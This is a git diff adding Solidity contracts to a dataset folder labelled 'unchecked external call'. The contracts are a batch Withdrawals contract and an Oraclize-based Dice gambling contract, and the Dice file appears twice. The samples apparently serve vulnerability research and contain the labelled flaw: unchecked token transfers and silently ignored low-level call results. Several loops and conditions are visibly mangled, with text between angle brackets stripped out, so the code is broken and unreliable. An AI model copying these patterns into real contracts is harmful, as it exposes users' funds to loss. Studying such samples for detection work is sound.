transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40454.sol b/smart_contract_dataset/unchecked external call/40454.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40454.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40458.sol b/smart_contract_dataset/unchecked external call/40458.sol new file mode 100644 index 0000000000000000000000000000000000000000..f5472a88486696dabb56aa94b81422825e4008cc --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40458.sol @@ -0,0 +1,554 @@ +// +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public ownerEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + + uint constant safeGas = 25000; + uint constant oraclizeGasLimit = 150000; + + struct Investor { + address user; + uint capital; + } + mapping(uint => Investor) investors; //starts at 1 + uint public numInvestors = 0; + mapping(address => uint) investorIDs; + uint public invested = 0; + + address owner; + bool public isStopped; + + struct Bet { + address user; + uint bet; // amount + uint roll; // result + uint fee; + } + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + uint public amountWagered = 0; + int public profit = 0; + int public takenProfit = 0; + int public ownerProfit = 0; + + function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + ownerEdge = ownerEdgeInitial; + divestFee = divestFeeInitial; + + owner = msg.sender; + } + + + function() { + bet(); + } + + function bet() { + if (isStopped) throw; + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + if (msg.value < oraclizeFee) throw; + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); + betsKeys.push(myid); + } else { + throw; // invalid bet size + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function minBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + return oraclizeFee+minBet; + } + + function safeSend(address addr, uint value) internal { + if (!(addr.call.gas(safeGas).value(value)())){ + ownerProfit += int(value); + } + } + + function __callback(bytes32 myid, string result, bytes proof) { + if (msg.sender != oraclize_cbAddress()) throw; + + Bet thisBet = bets[myid]; + if (thisBet.bet>0) { + if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { + uint roll = parseInt(result); + if (roll<1 || roll>10000){ + safeSend(thisBet.user, thisBet.bet); + return; + } + + bets[myid].roll = roll; + + int profitDiff; + if (roll-1 < pwin) { //win + uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; + safeSend(thisBet.user, winAmount); + profitDiff = int(thisBet.bet - winAmount); + } else { //lose + safeSend(thisBet.user, 1); + profitDiff = int(thisBet.bet) - 1; + } + + ownerProfit += (profitDiff*int(ownerEdge))/10000; + profit += profitDiff-(profitDiff*int(ownerEdge))/10000; + + amountWagered += thisBet.bet; + } else { + //bet is too big (bankroll may have changed since the bet was made) + safeSend(thisBet.user, thisBet.bet); + } + } + } + + function getBet(uint id) constant returns(address, uint, uint, uint) { + if(id0) { + rebalance(); + investors[investorIDs[msg.sender]].capital += msg.value; + invested += msg.value; + } else { + rebalance(); + uint investorID = 0; + if (numInvestors0) { + if (investors[investorID].capital>0) { + divest(investors[investorID].user, investors[investorID].capital); + investorIDs[investors[investorID].user] = 0; + } + if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { + investors[investorID].user = msg.sender; + investors[investorID].capital = msg.value; + invested += msg.value; + investorIDs[msg.sender] = investorID; + } else { + throw; + } + } else { + throw; + } + } + } + + function rebalance() private { + if (takenProfit != profit) { + uint newInvested = 0; + uint initialBankroll = getBankroll(); + for (uint i=1; i<=numInvestors; i++) { + investors[i].capital = getBalance(investors[i].user); + newInvested += investors[i].capital; + } + invested = newInvested; + if (newInvested != initialBankroll && numInvestors>0) { + ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor + invested += (initialBankroll - newInvested); + } + takenProfit = profit; + } + } + + function divest(address user, uint amount) private { + if (investorIDs[user]>0) { + rebalance(); + if (amount>getBalance(user)) { + amount = getBalance(user); + } + investors[investorIDs[user]].capital -= amount; + invested -= amount; + + uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount + ownerProfit += int(newAmount); + safeSend(user, (amount-newAmount)); + } + } + + function divest(uint amount) { + if (msg.value>0) throw; + divest(msg.sender, amount); + } + + function divest() { + if (msg.value>0) throw; + divest(msg.sender, getBalance(msg.sender)); + } + + function getBalance(address user) constant returns(uint) { + if (investorIDs[user]>0 && invested>0) { + return investors[investorIDs[user]].capital * getBankroll() / invested; + } else { + return 0; + } + } + + function getBankroll() constant returns(uint) { + uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); + if (this.balance < bankroll){ + log0("bankroll_mismatch"); + bankroll = this.balance; + } + return bankroll; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public ownerEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + + uint constant safeGas = 25000; + uint constant oraclizeGasLimit = 150000; + + struct Investor { + address user; + uint capital; + } + mapping(uint => Investor) investors; //starts at 1 + uint public numInvestors = 0; + mapping(address => 